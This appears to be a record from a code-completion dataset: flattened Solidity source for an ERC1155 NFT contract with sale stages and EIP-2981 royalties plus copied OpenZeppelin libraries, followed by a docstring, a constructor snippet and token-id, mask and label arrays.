_stage = stage_;
}
/// @notice Gets the current sale stage
function getSaleStage() public view returns (uint256) {
return _stage;
}
/// @dev Returns a uint256 as a string
function uint2str(uint256 _i) internal pure returns (string memory str) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
bytes memory bstr = new bytes(length);
uint256 k = length;
j = _i;
while (j != 0) {
bstr[--k] = bytes1(uint8(48 + (j % 10)));
j /= 10;
}
return string(bstr);
}
/// @notice Returns the metadata URI for tokenId
function uri(uint256 tokenId) public view virtual override returns (string memory) {
return string(abi.encodePacked(_uri, uint2str(tokenId), ".json"));
}
/// @dev Sets the recommended royalty percentage 0-10000
function setRoyaltyFee(uint256 fee) public onlyOwner {
require(fee <= 10000, "PMCC: royalty cannot be greater than 100%");
_royaltyFee = fee;
}
/// @notice Retrieve recommended royalty payment as per EIP-2981
function royaltyInfo(uint256, uint256 _salePrice)
public
view
override
returns (address receiver, uint256 royaltyAmount)
{
return (_royaltyReceiver, (_salePrice * _royaltyFee) / 10000);
}
/// @dev Change receiving address for royalties
function setRoyaltyReceiver(address newReceiver) public virtual onlyOwner {
require(newReceiver != address(0), "PMCC: new royalty receiver cannot be the zero address");
_royaltyReceiver = newReceiver;
}
// This section is @openzeppelin/contracts/token/ERC1155/ERC1155.sol
// copied with irrelevant sections removed
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types
*
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual whenNotPaused {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol";
| @dev Mapping from token ID to account balances @dev Mapping from accounts to operator approvals @dev Mapping from accounts to whitelist totals @dev Used as the URI for all token types by relying on ID substitution @dev Make NFT tokens enumerable @dev Cap supply*/ @dev royalty to be paid to specific address @dev initial token prices @dev sale stage variable: 0 - founder, 1 - whitelist, 2 - public; starts at 0 | constructor(string memory base_) {
_setURI(base_);
setRoyaltyReceiver(owner());
}
| 7,217,908 | [
1,
3233,
628,
1147,
1599,
358,
2236,
324,
26488,
225,
9408,
628,
9484,
358,
3726,
6617,
4524,
225,
9408,
628,
9484,
358,
10734,
19489,
225,
10286,
487,
326,
3699,
364,
777,
1147,
1953,
635,
283,
6291,
603,
1599,
12785,
225,
4344,
423,
4464,
2430,
14873,
225,
11200,
14467,
19,
225,
721,
93,
15006,
358,
506,
30591,
358,
2923,
1758,
225,
2172,
1147,
19827,
225,
272,
5349,
6009,
2190,
30,
374,
300,
284,
465,
765,
16,
404,
300,
10734,
16,
576,
300,
1071,
31,
2542,
622,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
12,
1080,
3778,
1026,
67,
13,
288,
203,
3639,
389,
542,
3098,
12,
1969,
67,
1769,
203,
3639,
444,
54,
13372,
15006,
12952,
12,
8443,
10663,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
